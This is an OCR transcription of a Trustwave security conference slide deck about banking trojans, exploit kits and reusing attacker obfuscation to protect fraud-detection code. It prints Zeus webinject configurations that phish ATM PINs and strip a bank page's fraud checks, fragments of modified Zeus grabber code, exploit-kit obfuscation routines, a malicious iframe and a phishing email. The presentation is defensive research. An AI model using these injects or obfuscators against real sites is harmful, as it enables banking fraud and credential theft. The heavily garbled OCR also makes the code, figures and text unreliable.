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Turning Bad Guys Against Themselves

Trustwave The “Dual” Ouroboros
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Today’s Adversarial Relationship Pairings

Security Vendors Cybercriminals

Web Fraud Banking
Detection Trojans

Secure Web
Gateways

Trustwave*
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Common Financial Fraud Lifecycle

I D rem— O m—) Eﬁ;
The attack starts c The system is then

when a user clicks a link infected with malware
in a malicious email such as the Zeus Trojan

A

n Once the criminal ' Using keyloggers, fake bank
unlocks the account, login pages, the attacker cap-
he can start making

tures the user’s account info*
EFT transfers

The EFT transfers go to n m m

mules, who then wire the |

74R>.
Ammi
s=wy

A\ 'I Money IS Fraudulently

Transferred from User’s
f Account

money TO criminals overseas

* Advanced banking malware can even defeat security features such as IP checking
Trustwave* by the bank or two-factor authentication mechanisms used to detect fraudulent logins.
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Banking Trojan Prevalence in 2013

Report: In 2013, more than one million U.S.
computers were infected with banking trojans

Table 1. The prevalence of banking Trojans in 2013

The State of Financial Trojans 2013 - Symantec

Threat Compromised computers | Availability
Zbot + Gameover | >2,000,000 Public and custom
Cridex >125,000 Private
Shylock >33,000 Custom
Spyeye ~26,000 Public
Bebloh ~21,000 Custom
Mebroot ~9,000 Custom
Tilon (Tiylon) ~2,000 Custom
% Trustwaver
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Figure 3. Number of computers compromised by banking Trojans in 2013
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Zeus “webinject” Entry: ATM PIN Phishing

‘;LZEIJS Builder

Information Buildzr
Eiuilder Source configuartion File:
Settings
| C:\Documents and Settings)IEUserDeskiopl Zeus | [ Browse, .. ] [ Edit. .. ]
Actions
[ Build the bot configuration ] [ Build the bot executable ]

& webinjects - Notepad
File Edit Format Wiew Help

set_url http://zero.webappsecurity. com Togin, htm] GP
data_hbefore
<div class="control-group”=
<label class="control-label" for="user_password"sPassword</Tabel>
<div class="controls"»> =
<input Type="password” id="user_password" name="user_password"
tabindex="2" autocomplete="off"/ >
< Sdive
< fdive

[

data esod
data_inject
<tiv class="control-group"=
<label class="control-label" for="user_pin"=aTM PIN</1abel>
<div class="cantrols":>
<input type="text" did="user_pin" name="user_pin" tabindex="4"

autocomplete="off",/ >

</fdive
< divs>
data_end
ata_atter
data_end|

Trustwave®
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Live Demo: Zeus “webinject” Phishing

2} Zero - Log in - Microsoft Internet Explorer, |Z||E|[X|

. File Edit “ew Favorites Tools  Help :!'
@ Back - \_) \ﬂ @ g h /':\J Search \;'\"( Favorites @ [‘j\: - .:‘,f,_ — * ﬁ
ﬂpen : Address |@ http:fizero. webappsecurity . comjflogin. hkml vl Go
: Links @ Zero - Log in - Mormal @ Zero - Login - Fraud @ Zero - Login - Fraud - ObF @ Zero - Log in - Fraud - Obfz
Fun as... r
Fin ko Skart menu Log in to ZeroBank
Send To »
Login | |
Zuk
i opy Password | |
AT FIN
Create Shortcut | |
Delete Keep me signed in O
Rename
. Sign in
Properties 2
< ' 3
@ Diaone  Internet

W wrsc
RSACONFERENCE2014
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An Overview of Web Fraud Detection Methods

Fraud Detection Methods Browser Fingerprinting

pticlick

and Trackable — Is Your Browser2

+ Device Fingerprinting

+ Web Page Integrity PO n

I How Uni
¢ Geolocation ow Unique

I Your browser fingerprint appears to be unique among the 3,733,033 tested
+ User Behavior o
E % Currently, we estimate that your browser has a fingerprint that conveys at
’ Browser API Monltorlng least 21.83 bits of identifying information.
= The measuraments we used to obtain this result are listed below. You can read
¢ Local Data Storage Protectlon more about our methodology, statistical results, and some defenses against

fingerprinting in this article.

+ Secure DNS Checking panopticlick.eff.org

% Trustwave*
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An Overview of Web Fraud Detection Methods

Fraud Detection Methods Detecting In-Flight Page Changes

+ Device Fingerprinting I oci ﬂ;tyf%l" s

* Web Pag e |nteg ”ty Computer Science & Engineering

Detecting In-Flight Page Changes with Web Tripwires

+ Geolocation ) CSE Home  Securty and Priv
: Detecting In-Flight Page Changes with Web Tripwires
’ U S e r B e h aVI O r Charles Reis, Steven D. Gribble, Tadayoshi Kohno, University of Washington (UW).

Nicholas C. Weaver, International Computer Science Institute (ICSI).
February 29, 2008. (Updated July 2, 2009.)

+ Browser APl Monitoring
+ Local Data Storage Protection
+ Secure DNS Checking

http://www.cs.washington.edu/research/security/web-tripwire.html

% Trustwave*
SpiderLabs 12 RSACONFERENCE2014




RSACONFERENCE2014

FEBRUARY 24 - 28 | MOSCONE CENTER | SAN FRANCISCO

Web Fraud Detection
DEMO

Trustwave®,

Spider



Example Fraud Detection JavaScript

i

2/ <html lang="en">

3 <head>

4 <meta charset="utf-8">

5 <title>Zero - Log in</title>

6 <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

7 <meta http-equiv="X-UA-Compatible" content="IE=Edge">

8

9 <link type="text/css" rel="stylesheet" href="/resources/css/bootstrap.min.css"/>

10 <link type="text/css" rel="stylesheet" href="/rescurces/css/font-awesome.css"/>

1 <link type="text/css" rel="stylesheet" href="/resources/css/main.css"/>

12 <gscript type="text/javascript" src="/md5.js"></script>

13 <gcript type="text/javascript" srec="/fingerprint.js"></script>

14 <script type="text/javascript" src="/webtripwire-login.js"></script>

15 <script stc-/resources/js/jquery-1.B.Z.min.Js ></script>

16 <script srec="/resources/js/bootstrap.min.js"></script>

17

18 <gcript src="/resources/js/placeholders.min.js"></script>

19 <gcript type="text/javascript">

20 Placeholders.init({

21 live: true, // Apply to future and modified elements too

22 hideOnFocus: true // Hide the placeholder when the element receives focus

23 P)i

24 </script>

25 <gcript type="text/javascript">

26 S (document).ajaxError(function errorHandler(event, xhr, ajaxOptions, thrownError) {
Trustwave*
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Fingerprint.js: Browser Characteristics Checked

probe = {};

prgbe.lre ateldent = function{) {
var ident;
ident = '';
JiElenE = oE '.:".".H'IIH'}I
ident =18
ident
ident
ident
ident
ident
ident
ident
ident

1dwnf +— p
ident = hex md5{ident);

this,ident = ident.substr(®, this.identLength); .-

%Trus_twave“ o
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Fingerprint Hash Beaconing: Chrome Dev Console

* |Headers | Preview Response Timing

Request URL: http://localhost/fingerprint-report.html?fingerprint=4acB6ldced
Request Method: GET
Status Code: @ 280 0K
v ers ylew parsed
GET /fingerprint-report.html?fingerprint=4acBbldced HTTP/1.1

Connection: keep-alive

Accept: image/webp,*/*;q=0.8

User-Agent: Mozillas5.8 (Macintosh; Intel Mac 05 X 10_E_5) ApplewebKits537.36 (KHTML, like Gecko) Chromes31.@.1658.63 Safarisf537.36
DNT: 1

Referer: http://localhost/login-fraud.html

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8

If-None-Match: "@-4eflB175bfad@"

If-Modified-Since: Fri, @3 Jan 2014 22:04:17 GMT

L i view parsed
fingerprint=4acBbeldckd

* Response Headers view parsed

HTTP/1.1 288 0K

Date: Fri, 83 Jan 2814 22:2B8:86 GMT

Server: Apache/Z.4.4 (Unix) PHP/5.5.7
Last-Modified: Fri, B3 Jan 2814 22:84:17 GMT

Trustwave®

SpiderLabs’ 16
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Demo: Device Fingerprint Execution

{ Zero-Login x

€& — X [} zero.webappsecurity.com/login-fraud.html e —

The page at zero.webappsecurity.com
says:

Your Device Fingerprint is: 4ac861dc62

ook ]

Trustwave®
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Web Tripwire XMLHttpRequest

* | Headers | Preview Response Timing

I Request URL: http://zero.webappsecurity.com/login-fraud. htm'LI
Request Method: GET
Status Code: @ 2088 0K
¥ Request Headers view source
Accept: =/ %
Accept-Encoding: gzip,deflate, sdch
Accept-Language: en-US,en;q=08.8
Cache-Control: no-cache
Connection: keep-alive
DNT: 1
Host: zero.webappsecurity.com
If-Modified-Since:
If-None-Match:
Pragma: no-cache
Referer: http ..-'..-'zercu webappsecurity.com/login-fraud.html

@ (Macintosh; Intel Mac 05 X 18_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.9.16508.63 Safari/f537.36
WebTripwireCheck: On
¥ Response Headers View source

Accept-Ranges: bytes

Connection: Keep-Alive

Content-Length: 7492

Content-Type: text/html

Date: Fri, @3 Jan 2014 22:57:82 GMT

ETag: "1d44-4efl7cd3Gabda"™

Keep-Alive: timeout=5, max=96 ’

Last-Modified: Fri, 83 Jan 2814 21:43:33 GMT

TrL IWebTr'lpu:'ireHash: 9ebfa57ddd3T9e6T7c2T563225673a8d : , 7=
Splucl LalJo 18 l RSACONFERENCE2014




Demo: Web Tripwire Hash Validation

|_"| Zero - Log in =

€& — C [3 zero.webappsecurity.com/login-fraud.html e

Zero Bank

The page at zero.webappsecurity.com says:

WebTripwire Validation Success: Remote Hash:
Sebfas7ddd3foes7c2f563225e673a8d and Local Hash:
Sebfa57ddd3foes7c2f563225e673a8d

|| Prevent this page from creating additional dialogs.

Lok |

Trustwave®

SpiderLabs’ 19
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Updated Zeus “webinjects” Configuration:
Removes Fraud Detection Code from HTML

BiSIEY

‘;LZEIJS Builder

Information Builder
Source configuartion file:

Settings

I wehinjects - Notepad
File Edit Format Miew Help

set_url http:/ /zero.wehappsecurity. com/login-fraud. html GP

data_bhefore
<1ink Type="text/css" rel="stylesheet" href=" Aresources/css/main.css" >

data_inject
data_end

4L d_d
<sCript src="/Jresources/ s Jquery-1.8.2.min. js">< script>
data_end
Trustwave' S W RC
RSACONFERENCE2014
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Zeus Strips Fraud Detection JS Code from HTML

. Address |E| http:/fzero.webappsecurity . comflogin-fraud . html v| Go

BX

: Links . Ll
Akl login-fraud[1] - Notepad =
File Edit Format YWew Help
|-< I DOCTYPE Htm =
<html Tang="en"»
<head:>

<meta charset="utf-8">

<titlexZero - Log in<titles

«meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalahle=no":>

<meta http-equiv="x-Ua-Compatible" content="IE=Edge'>

<1ink tType="text/css" rel="stylaesheet" href="/resources/cssshootstrap.min.css" >
<1ink Type="text/css" rel="stylesheet" href="/resources/css/Tont-awesome.css" />
<1ink tType="tText/;css" reW=“5ty1esheet” href="/ /resources,/cssMmain.css" /> <sCript
sro="/resources/Js/Jguery-1. 8. 2.min, js " »</scripts
zscript sroc="/resources//js/bootstrap.min. js"></scripts>

Login

Trustwave*
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Exploit Kits

- _ m ﬁ,gm
¢ Serve as malware distribution mechanisms 1 | Ll

; “Angler Exploit Kit* “Goon Exploit Kit"
* M aas 1] M a|WaI'e AS a Se rVICeH " “HiMan Exploit Kit" LightsOut Exploit Kit :
M ‘Magnitude Exploit Kit" “DotCacheF”

“Topic Exploit Kit" Kore Exploit Kit

+ Provide rich configuration and reporting

5 neutrino “Kein Exploit Pack®  “FlashPack” {7,

WhiteHole & Grandsoft (Ml

g, ey = s whiteLotus o »
— 7.41% ik T el L Gong Da Pack
b 8 e e prsge e ) - Vil
- i 4 4 w EoEdyd -SAKURA-
e BT . R W LA | = e . Sweet Orange 13 b
e i o
o = i Py P
# o ek s rabi e " -
o =
O Blackboke [RRp—— ey = - . i ’"_
= = @ vkt 2 e W ine - s
osmipec e o . : = :
[ W]
e m - .

%Trus_twave’“ - —
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Exploit Kit Prevalence (Q4 2013)

1.8%__0.7% _0.2% 0.2%

0.1%
2.7% 2.7% |

H Blackhole

M RedKit

H Cool

m Neutrino

1 DotCachef

I Styx
Whitehole
Bleeding Life

Nuclear

Magnitude

% Trustwave*
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Malicious Links

+ Cybercriminals inject malicious iframe links to
compromised web sites or to malicious web sites

+ Then use malicious spam campaigns with links to
those sites or wait for normal web traffic

Exploit
server

Compormised

User website

D--

% Trustwave:
SpiderLabs’ 25

In jected
iframe

Source of: http:/fi<

<iframe src="http:
Coming. Soon!
</iframe>

bgredret.ru/main.php" width="468" height="60" :

From

Subject

To .

. Reply [ & Reply [ B Followup [ -[ = Forw
12/4/2013 12:16
Other Actions ~|

American Express <fraud@aexp.com:

Fraud Alert : Irreqular Card Activity

Irregular Card Activity

AMEX Fraud
Department

Dear Customer,

We detected irregular card activity on your American Express
Check Card on 04th December, 2013,

As the Primary Contact, you must verify your account
activity before you can

continue using your card, and upon verification, we will
rernove any restrictions

placed on your account.

Ta review your account as soon as possible please,

Please dlick on the link below to verify your information with
us:

hittps: /. arm ericanaxpress,com,

If you account information is not updated within 24 hours
then your ability
to access your account will be restricted

e appreciate your prompt attention to this important
matter.

5 | http reddragonitskages.co.ukfwaddiedindex himl

RSACONFERENCE2014




Victim Visits Infected Website

Address @ http: fiv. yahoo.comf ¥ d 50
Links @] Zero - Login - Mormal 4] Zero - Login - Fraud @] Zero - Log in - Fraud - ObF - &] Zero - Log in - Fraud - ObF2

. Haorme R ail = g iy er Games A ] Screen Flickr fohile hore m

My Yahoo Signin gl Mail

SKYACTIV®-G ENGINE

THE ALL-NEW MaZDa33

See how Mazda's SKYACTIV® TECHNOLOGY makes it lighter, more
responsive and more efficient—without sacrificing performance.

EXPLORE MAZDA3

maEDa

Faarhark _ v ‘

Al
g
|

S —

wuilr
ey W RSAC

% Trustwave: e
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Malvertising Infection on Yahoo

' Fiddler Web Debugger

m@g

File

Edit Rules Tools

() ¥3 Replay ¥~ P Go ‘ Stream [Hik Decode

View Help GET /book

Keep: All sessions ~ &5 Any Process 33 Find [ Save [T=1) @ & Browse ~ @ Clear Cache T TextWizard | [ Tearoff | MSDMN Search.. @

# Result | Protocol | Host
i, 304 HITP I.yimg.com
'q'?_ﬁ 1.. 200 HTTP |.yimg.com
é‘?_ﬁ . 200 HTTP 12,yimg.com
I:| 1.. 200 HTTP b.scorecardresearch.com
&@i. 304 HITP I.yimg.com
@p1.. 34 HITP 1. yimg.com
& 1., 200 HTTP Tunnel to
'q?_ﬁ i... 200 HTTPS ucs.guery.yahoo.com
[ 1., 302 HTIP ad, yieldmanager.com
El 1. 200 HTTP ads. yahoo.com
... 200 HTTP csc.beap.bc. yahoo.com
'q?_ﬁ 1.. 200 HTTP 12.yimg.com
=i HTTP ads.yahoo.com
'q?_ﬁ L.. 200 HTTP ads. yahoo.com
('q?_ﬁ Le-- 200 HTTP widget.uservoice.com
ossf 1, 200 HTTP 12.yimg.com
[ 1. 302 HTTP slaptoniktons, net
'q?_a 1.. 200 HTTP 12.yimg.com
% 1. 200 HTTP 12.yimg.com
'q?_a 1.. 200 HTTP 12.yimg.com
% 1. 200 HTTP |.yimg.com
'q?_ﬁ 1. 200 HTTP 12.yimg.com
ossf 1, 200 HTTP 12, yimg.com
% . 200 HTTP 12.yimg.com
% 1. 200 HTTP 12.yimg.com
w1 200 HTTP 12.yimg.com

LRL
frafdarlaf2-5-7fhtml/r-sf....

Jjzzfcombe?ng/s launch/co. ..

Jzzfcombo? fkxfyucsfuh3/...

Jp?c1=2Rc2=72414698¢5. ..

Jdfibfbc/bc_2.
Jjrafdarla/2-5-
ucs.query.yahoo.com: 443

fv1fconsolefygl?g=select...

/st?ad_type=iframe&ad_s...
[st?ad_type=iframe&ad_s...
0.0&8bs=(135ue...
Jjzzfcombo?ng/ 7063 color-. ..

Jyizhn

1.

fimp?_chv=338752511:

Joet-user-d?ver=285=23...
JGRqWe4kIH38RyGES0B.. .
fzzfcombo?ngys a o /comm. ..

/

Jfzzfcombo?ngys fcommony...
fzzfcombo?nagzftemplates. ..
jzzfcombo?ng/s templates. ..
jzzfcombo?tgfatt/131212...

fzz{combo?ng/7069/dass...

fzz{combo?ng, 7069 /widge. ..

fzz{combo?nays fmail fui fw...

jzzfcombo?nag,zftemplates. ..
fzzfcombao?nas fmailfuiffol. ..

= All Processes

1/1,960

Body

0
539,325
73,873
43

5,139
43
25,233

39,643
6,871

0
11,053
210,327
122,002
153,016
29,685
856
1,986
1,446
7,366

@ Online X%

Content-Type ‘I @ Statistics ﬁ?g Inspectors | 4 AutoResponder | @ Composer | [ Filters | [El Leg I_— 'I'|me|ir1E|

application...
application/...
imagejgif

textfjavasc...

image/gif
application...
application/...
textfjavasc...
textfjavasc...
textfcss; c
textfhiml
application...
application/...
application...
application/...
application/...
textfess; ¢
application/...
application/...
application/...

IHeaders | TextView | WebForms | HexView | Auth | Cookies | Raw | 150N | XML |

GET /imp?_cbw=33875251134_msd=1&_xcf=08Z=200x2504cb=1388751037.1603224P =" 24 T RS 7d L 7c Ai_SdWKL1BCILUNA
Client

Accept: =f*

Accept-Encoding: gzip, deflate

Accept-anguage: en-us

User-Agent: Mozillaf4.0 {(compatible; MSIE 8.0; Windows NT 5. 1; Trident/4.0; .MET CLR 2.0.50727)
Cookies [ Login
Cookie
Miscellaneous

Referer: http: ffads. yahoo.com fst?ad_type=iframe&ad_size=300x2508site =11409478&section_code=23553375518ch =133
Transport

Connection: Keep-Alive

Host: ads.yahoo.com

4 T | 3

Get Syntaxview | Transformer | Headers ||Text\ﬁew | ImageView HexView WebView | Auth | Caching

| mon | x|

Cookies | Raw

none®." ><frame src=\"http://zlaptoniktons net.\" width=300 heig

m_data.offer_type = 10;
m_data.entity_id = 585264;

if (window mm_crex_data) {m_crex_data push (24321466}

0:0  0/285 125 |Find... (press Cirl+Enter to highlight all)

| [ Viewin Notepad |[ ... ]

http: /fads. yahoo. com imp?_chv=3387525113& msd=18_xcf=087=300x250&ch=1388751037. 1603228P =%24%7hRS%7d % cAi_SdWKL 1hCiUNAPUsafEhrsUkaXal Gl wADy40 %7c 7350027

SpiderLabs’
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Use of Multiple Vulnerabilities

« Typically attempt to exploit multiple L/g}
vulnerabilities in different applications J‘f(g

0 One vulnerability suffices for infection

% Trustwave' ¥
SpiderLabs 28 RSACONFERENCE2014




Using Obfuscation

Obfuscation fails most static
analyzers

<body Hscmpt){;’scmpt)
<textarea>l

/10185, 10161, 1
o L

A(."t&xtaraa}(st&le)#:ﬂ {b:.:laqr,und
(data:,vaString. fromCharCode) }</style><script>var ofeps = null;var tvpk =

document. styleSheets[0] .rules || document.styleSheets[0].casRules;for(var njyrs = 0; njyrs <

tvpk. ; njyrs++) {var mxu = tvpk.item ? tvpk.item(njyrs) : tvpk[njvrs];xeyw=(mxu.c3sText) ?

mxu.c3sText : mxu. .cssText;ofeps = xeyi. urly M/ [117);

"textarea”

c.ActivexEnabled=truwe;break } Yo.head=c.isDefined{document.getElementsByTagMame Y2document. getEleme
c.formatMum( (/rvs®y s * (V] + ) ) eest(h )2RegERp. £ 1: 0.9 Janully cisSafari={ /Safarihs*y s *d/fi).test{ h )& 4
cisOpera&((Version\s* s * Od+y 7 d* )i)test(h ) 1 1 )2 parseFloat{RegExp. £ 1,10): null; c.addWinEvent( "o ad
c.getversionDelimiter=d;return -3 Yh=c[d.toLowerCase( ).replace s/, ILH(b] 'b.getversion ){ return -3]
c.garbage=false;if{c.isIE&&! c.ActivexEnabled {if{bl==c.java){return -2} treturn 1},fPush:function(b,a){
function(b){var c=this,a;if(c.isarray{b)){for(a=0;a<b length; a++ M b[ al===null}{return}c.call{b[a]};
T0a=32c[3]l:0) Yedse{if(bisFunc(cD{c{b )} } . E¢isMinversion:function{ a){ return function{ h,q,d,c){ var 4
(Ya.isstrum(a) Y return -2 HF(f.oetversionDone!= 13{f.getversion{d,c;#({f. getversionDone===null }{f get:
f.version,g,f)>=0?1:-1))}return b} },getversionDelimiter: " $faetversion:function(a ){ return function(a,q
null}{ f.getversionDone= 1%} }a.cleanup{ };b=(f version] If versiond );rettern b2b.replace{ a.splithlumRegs,a.0ety
a.addEventListener){ a.addeventListener{d,cfalse ) telse {if{ a.attachEvent){ a.attachEvent( 'on"+d,c) Jeise
Ml )3 F o wlhfuncs:[O],runWLfuncs:function{ a){ a winLoaded=#rue; a.callarray(a.WLfuncs };#f( a.onDoneEmpf
a.call(b) Yelse{ a.fPushib,a.WwLfuncs)} } }.div:aull,diviWidth:S0,pluginSize: 1,emptyDiv:function ( ){ var c=this,
Mif(d==0)Mfor{e=b.childiodes lenath-1;e>=0;e--}{b.removeChild{b.childModes[e]) }c.div.removeChild{b)
adsFunc{awWlfuncs[a wifuncs length- 110 return Wi ajava){i#f{a.java OTF==2 M{return Hf(a java funcs i g
g,d=#his f=null,b=d.getContainer{c);try{HF(bl&&b firstChild }{f=b f|rstCh|Id}:f(a&&f){fchus()}}catch(g){
n=n.createFlementf "snan Yo b f=""war l=functionit <Y var v=t stvla d =0 WY radprn Yo outline="nnnel

Trustwave’  The same code, obfuscated
% SpiderLabs’

Exploit kit code

Obfuscation
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Similarity of Challenges

Protecting web Escaping
fraud detection detection by
code exploit kits

Trustwave*
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Leveraging Cybercriminals’ Tactics

Security Vendors Cybercriminals

Web Fraud Banking
Detection Trojans

Secure Web

Gateways Exploit Kits

Trustwave*
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Applying Obfuscation to Defensive Code

 |f cybercriminals can 3 <
3 %code = 'wvar machine infected = true;if (machine infected == true)
= = 4 alert (™machine infected!™);} else { alert("machine is clean");}':
protect their code with ] Looagpod machine tnfected!™ )
: - : 5 T Geader .2 urlencode (et (ord (ScodsSi1) + 1)
obfuscation, why can't legit N

10 <script>

sites do the same? L L ehp scho Scodszs 7"

13 // decobfucate:

14 dd = unescape (cc);

15 for (var i=0; i< dd.length; 1++) {

1e £f 4=String.fromcharCode (dd.charCodert (1) - 1);
17| }

18 ewval(ff);

19

20 </script>

Wk

[T RN Y Y

=

kseript>
F ="
cc = "wbsE2lnbdijof¥e@jogfdufel2lR3ER21usvTR3C gR21%29nbdijofReajogfdufed21R3ERIER2LusvT*R21%7CHBAbMT SUR29%23nbd1jofd21 jogfdufek22823*X3CHTER21 Fmt
7E";
// decbfucate:
dd = unescape(cc);
for (var i=8; i< dd.length; i++) {
ff +=5tring.fromCharCode(dd.charCodeAt(i) - 1);

}
eval(ff);
</script>

% Trustwave*
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Use of Obfuscation for Legit Code

+ The idea in general is not new

+ Suggested in the past for
+ Hindering hacker attacks

+ Protecting Intellectual Property (IP)

+ Also used by some applications (e.g. Oracle’s Java

Cryptography COde) Online Banking 8
B L0GN
+ Similarly, some bank sites are pure Flash Envolin Oniin Bariking | Enrollin BiPay

+ Here we discuss using techniques from malicious code

% Trustwave*
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Using Exploit Kit Obfuscation Code: CryptJS

function [ofg g fstring)d

$crypt key = ((rand() % 2) * 2) + 2;
$crypt cookie = "e!;

fEstring = str_split($string);
for ($i = @, fcontent = ""; $i < count(fstring); $i++){

fcontent .= (ord($string[$i]y / S$crypt_key)y . "*" | $crypt cookie
&

list($n, $content) = crypt2(dstring);

f*$string = str_split('eval");
for ($i = @, fcontent eval = ""; $i < count($string); $i++3{

$content eval .= (ord(¥string[$i]) / $crypt keyd . "*" . $crypt cookie
¥

f/fcontent = substr{$content, @, -13);
heonbett eval s = clibsERCEcontant svat, 8, =1)iwd

return '</script><textarea style="display: none">' . $content . '</textarea><stiyle>#cl
tbackground; url{data; vaString. fromCharCoede) }</style><script>' | trim(dSMin; iminify(self;:RandomezeVya
Fid!

; ~—
Trustwaver
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Using Exploit Kit Obfuscation Code: CryptJS

h P

include(",
e Al i ipt: o ¢ ent. wri
html 1
L~ o~ .—j -

~——y

. HRSAC

% Trustwave’
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New Obfuscated HTML

: Address |:E| http: [ fzerowebappsecurity, camylogin-fraud-obf, hkml V| G0
: Links @ Zero - Log in - Marmal @ Zero - Log in - Fraud @ Zero - Log in - Fraud - Obf Ej Zero - Log in - Fraud - Obfz

Zero Bank

2 login-fraud-obf[1] - Notepad

File Edit Format Miew Help
1,11454,11450,11460,11465,11454,11447,11441,13447,11441,13413,11426,11575,115658,11355,114171,114 »~
34,11430,11460,11463,11434,11413,11426,11373,11368,11355,11411,11434,11430,11460, 11463 ,11434,11

434,11450,11460,11465,11434,11415,11426,115375,11362,11573,11552,11411,11454,11430,11460,11463,1
1434,174713,11426,1136%9,11357,11364,113465,12411,11434,17432, 11414 < T extarear<stylex#ci

Thackground: ur1(data:,vaStrin?.frumcharcudej}{fsty1e>{5cript}var ruh = null;wvar rtcf =

document.stylesheets [0].rules || document.stylesheets[0].cssRules;for(var Tut] = 0; Tutj <«
rtcf. length; Tutj++) {wvar edja = rtcf.item 7 rtcf.item(1utj] : rtcf[1utj];kpk=[edja.c55Textj 7
edja.cssText edja.styWe.cssText;ﬁmruh = kpk.matchC ur s (U 2datas: [A, D%, CLA" DT+ "0 0[] Tyvar
5 ""ywar g = functionCd{return this; F{);ao0f = gl"e"+ymruh. substr {0, 20+"1"]; coxts =

document. getelementsByTaguame "textarea" ) [9-9] . value. splitc”, "Jmssto=aof Oymruh. substr220; for
Cwar 1 = 0; 1 < coxts.length; i++) {keac = 11473 - A¥couts[i];s +=
msstofkeac); raofs); </ scripts></body>

[ N RN |

% Trustwave*
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Still Functionally Equivalent Code

: Address @ http: ffzero. webappsecurity , com/flogin-fraud-obf, hktml b G0
: Links @ Zero - Log in - Mormal @ Zero - Log in - Fraud @ Zero - Log in - Fraud - Qbf @ Zero - Log in - Fraud - Obfz
”
Zero Bank
Microsoft Internet Explorer
' ": Your Device Fingerprint is; Ob4f19e5ce
]
e
Login
Trustwave*
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Zeus “webinjects” No Longer Work!

. Address @ htkp:ffzero, webappsecority, comjlogin-fraud-obf , html
- Links @ Zero - Log in - Marmal @ Zero - Log in - Fraud @ Zeto - Log in - Fraud - Obf @ Zeto - Log in - Fraud - Obfz

Log in to ZeroBank

Login

Password

kKeep me signed in [

Trustwave’ -
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Financial Motivation Drives Innovation

% Trustwave*
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Leveraging Cybercriminals’ Tactics

Security Vendors Cybercriminals

HWeb Fraud B opuscaion
Detection L

Exploit Kits

Secure Web ! | Banking
Gateways Trojans

Trustwave*
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New “De-Obfuscation” Flag (O) Added to Zeus

I webinjects - Notepad

File Edit Format Miew Help
F.
éet_ug1fhttp:ffzer"n.webappsecurit}r. I::ije:-cmD"lt—k"lt—mcldﬂng"ln—F‘ingerpr‘int—Dbf.htm1 P
ata_hefore
<link type="text/ csz" rel="stylesheet" href="/resources/css/main.css"/ >
data_end
data_inject
data_end
data_after
<script src="/resources/JsJquery-1.8.2.min.js">< scripts>
data_end
set_url http://zero.webappsecurity. comSexploit-kit-mod/Togin-fingerprint-obf.html GFO
data_hefore
<div Class="control-group">
<label class="contraol-Tlabel" fTor="user_password">Password</Tabel>
<div class="controls"> —
<input type="password" id="user_password" name="user_password"
tabindex="2" autncump1ete=”uff“f¥ 2

Trustwave*
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Modified Zeus “httpgrabber” De-Obfuscation Code

I httpgrabber - Notepad z E|E|
File Edit Format Mew Help

EF (processpedhfuscatiaon)

LPSTR pStr = (LPSTR) “cContext;
LPSTR *partsl = MULL;
int magic_number = 0;
DwORD numbers = Str::_splitTostringsalpstr, str::_Lengthalpstr), &partsl,
PISTS_USE_SEPARATOR, ','?-

DwoORD 1 = 0
int n o= 0;

int res = O

LPSTR tmpsString;

LPSTR tmpStrings;

LPEYTE new_ontent = MNULL;;
CwoRD totalsize = O;

few_ontent = (LPEYTEMem::allocf{*contextsize % 37;

Mem: :_copyinewZontent, "<script:", (Str:i:_Lengthaf("<script=") % sizeof{(LPSTR}) J;
totalsize = strii_Lengthal"<script="7;

Trustwave' W v
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Modified Zeus Decodes, Removes and Injects

. Address |@ htkp: ffzero.webappsecurity . comfexploit-kit-mod login-fraud-obf  hkml
: Links @ Zero - Log in - Normal @ Zero - Log in - Fraud @ Zero - Log in - Fraud - Obf @ Zero - Log in - Fraud - Obf2

Log in to ZeroBank

Login

Fassword

ATH PN

eep me signed in O

Trustwave’ -
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Leveraging De-obfuscation Algorithms
+ De-obfuscation algorithms show clear text
+ Sometimes they are complicated and dynamic

+ Malware authors may come up with more efficient
algorithms

+ Why won't we leverage their creativity again??

+ We can reverse engineer the malware and identify the
de-obfuscation algorithms

+ We can now use these de-obfuscation algorithms in
security products that scan web pages (SWG AV,
Firewall...)

% Trustwave:
SpiderLabs’
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Leveraging Cybercriminals’ Tactics

Security Vendors Cybercriminals

Web Fraud _ .
Obf t
Detection | uscation | Exploit Kits

A

i

Secure Web \ , Banking
Gateways \ Trojans

Trustwave*
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The Lifecycle Continues

Security Vendors Cybercriminals

Web Fraud
Detection

Polymorphic Variable Names

Exploit Kits

A

i

Secure Web
Gateways

Banking
Trojans

Trustwave*
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Using Polymorphic Variable Names

V:c)éytinﬁ"'.””u' SO

Source of: http://localhost/exploit-kit-mod/bank-new.php

,12781,12781,12781,12753,12766,12713,12708,12695,12751,12774,12770,12800,12803,1
2774,12781,12781,12781,12781,12781,12781,12781,12781,12781,12781,12781,12781,127
53,12766,12713,12708,12695,12751,12774,12770,12800,12803,12774,12781,12781,12781
,12781,12781,12781,12781,12781,12753,12766,12713,12708,12695,12751,12774,12770,1
2800,12803,12774,12781,12781,12781,12781,12753,12766,12713,12708,12695,12751,127
74,12770,12800,12803,12774,12753,12766,12713,12708,12695,12751,12774,12770,12800
,12803,12774,12774,12770,12800,12803,12774,12753,12766,12715,12702,12713,12692,1
2751,12774,12770,12800,12803,12774,12753,12766,12709,12697,12704,12705,12751,127
74,12772,12754</textarea><style>#c0 {background:
url(data:,vaString.fromCharCode)}</style><script>var ytga2|= null;var odw =
document.styleSheets[0].rules || document.styleSheets[0].cssRules;for(var amztg
= 0; amztg < odw.length; amztgt+) {var tjgks = odw.item ? odw.item(amztqg)
odw[amztqg];ftxx=(tjgks.cssText) ? tjgks.cssText : tjgks.style.cssText;paly] =
ftxx.match(/url\("2datah: [, 1*,(["")]1+)"2\)/)[1];};var s = "";var g = function()
{return this;}();xfoov = g["e"Hjdl44.substr(0,2)+"1"];hug =

document .getElementsByTagName ( "textarea")
[9-9].value.split(",");ggxlu=xfoov(/jal0g.substr(2));for (var i = 0; i <
hug.length; i++) {rll = 12813 - l*hug[i];s += ggxlu(rll);}xfoov(s);</script>
</body>

Line 1, Col 36861




Summary

+ In addition to fighting cybercriminals’ techniques, security vendors
can also leverage them in some cases for better protection

+ Algorithms from one cyber gang can be used to protect against
malware from another gang

+ lItis an iterative process

+ More research is welcomed
+ ldentifying other similar scenarios

+ Considering the ethical and legal aspects of this concept

%Trus_twavef _ 2 W wsc
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